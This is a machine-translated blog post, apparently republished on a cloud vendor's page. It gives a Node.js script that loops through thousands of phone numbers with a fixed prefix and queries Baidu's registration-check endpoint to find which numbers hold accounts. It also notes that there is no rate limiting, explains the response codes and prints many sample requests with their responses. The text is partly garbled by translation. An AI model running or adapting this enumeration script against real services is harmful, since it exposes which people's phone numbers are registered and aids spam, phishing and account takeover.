Check the phone number is registered Baidu developer

Source: Internet
Author: User

/** * created by **** on 2014/9/29. */' use strict '; var request  = require ("request");var base =  "1803283";var phone =  ""; for (var  i=1000; i<9999; i++)  {    phone = base + i;     var url =  "https://passport.baidu.com/v2/?regphonecheck&token= 2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone= "+phone+" &exchange= 0&AMP;ISEXCHANGEABLE=1&AMP;CALLBACK=BD__CBS__XJ4SWL ";     donereq (URL);} Function donereq (URL)  {    request.get (url, {}, function  (Err,  resp, body)  {        if  (err)  {             console.info (ERR);         } else {  &nbSp;         console.info (URL);             console.info (body);         }     });}

If you want to see the other mobile phone number segment, directly replace the base can be;

Principle:

  1. In the registration of Baidu account, enter the mobile phone number, Baidu will indicate whether the mobile phone number has been registered

  2. Just get a node script to help big guys run, see your mobile phone number registration No, Baidu even did not do IP access restrictions

  3. Test Address Https://passport.baidu.com/v2/?reg&u=http%3A%2F%2Fdeveloper.baidu.com%2Fuser%2Freg

    The results are as follows: 0 is not registered, 13001 is registered, 400001 has been bound

  4. Https://passport.baidu.com/v2/?regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3 &tt=1411979255172&phone=18032839986&exchange=0&isexchangeable=1&callback=bd__cbs__xj4swlbd __CBS__XJ4SWL ({"Errinfo":{  "no":  "0"  },  "Data":  {}}) https://passport.baidu.com/v2/? Regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone =18032839988&AMP;EXCHANGE=0&AMP;ISEXCHANGEABLE=1&AMP;CALLBACK=BD__CBS__XJ4SWLBD__CBS__XJ4SWL ({"ErrInfo": {   "No":  "0"  },  "Data":  {}) https://passport.baidu.com/v2/?regphonecheck&token= 2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone=18032839990& EXCHANGE=0&AMP;ISEXCHANGEABLE=1&AMP;CALLBACK=BD__CBS__XJ4SWLBD__CBS__XJ4SWL ({"ErrInfo":{  "no":  "0"  },  "Data":  {}) https://passport.baidu.com/v2/?regphonecheck&token= 2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone=18032839991&exchange=0&isexchangeable=1&callback=bd__cbs__ XJ4SWLBD__CBS__XJ4SWL ({"Errinfo":{  "no":  "0"  },  "Data":  {}}) https:// passport.baidu.com/v2/?regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt= 1411979255172&phone=18032839992&exchange=0&isexchangeable=1&callback=bd__cbs__xj4swlbd__cbs__ XJ4SWL ({"Errinfo":{  "no":  "0"  },  "Data":  {}}) https://passport.baidu.com/v2/? Regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone =18032839993&AMP;EXCHANGE=0&AMP;ISEXCHANGEABLE=1&AMP;CALLBACK=BD__CBS__XJ4SWLBD__CBS__XJ4SWL ({"ErrInfo": {   "No":  "0"  },  "Data":  {}) https://passport.baidu.com/v2/?regphonecheck&token= 2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone=18032839995& Exchange=0&isexchangeable=1&callback=bd__cbs__xj4swlBD__CBS__XJ4SWL ({"Errinfo":{  "no":  "0"  },  "Data":  {}}) https://passport.baidu.com/v2/? Regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone =18032839996&AMP;EXCHANGE=0&AMP;ISEXCHANGEABLE=1&AMP;CALLBACK=BD__CBS__XJ4SWLBD__CBS__XJ4SWL ({"ErrInfo": {   "No":  "0"  },  "Data":  {}) https://passport.baidu.com/v2/?regphonecheck&token= 2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone=18032839997& EXCHANGE=0&AMP;ISEXCHANGEABLE=1&AMP;CALLBACK=BD__CBS__XJ4SWLBD__CBS__XJ4SWL ({"ErrInfo":{  "no":  "0"  },  "Data":  {}) https://passport.baidu.com/v2/?regphonecheck&token= 2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone=18032839994& EXCHANGE=0&AMP;ISEXCHANGEABLE=1&AMP;CALLBACK=BD__CBS__XJ4SWLBD__CBS__XJ4SWL ({"ErrInfo":{  "no":  " 400001 " }, " Data ":  {}}) https://passport.baidu.com/v2/?regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172 &AMP;PHONE=18032839998&AMP;EXCHANGE=0&AMP;ISEXCHANGEABLE=1&AMP;CALLBACK=BD__CBS__XJ4SWLBD__CBS__XJ4SWL ({" Errinfo ":{ " no ": " " }, " Data ":  {}})

See if the phone number is registered Baidu developer

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.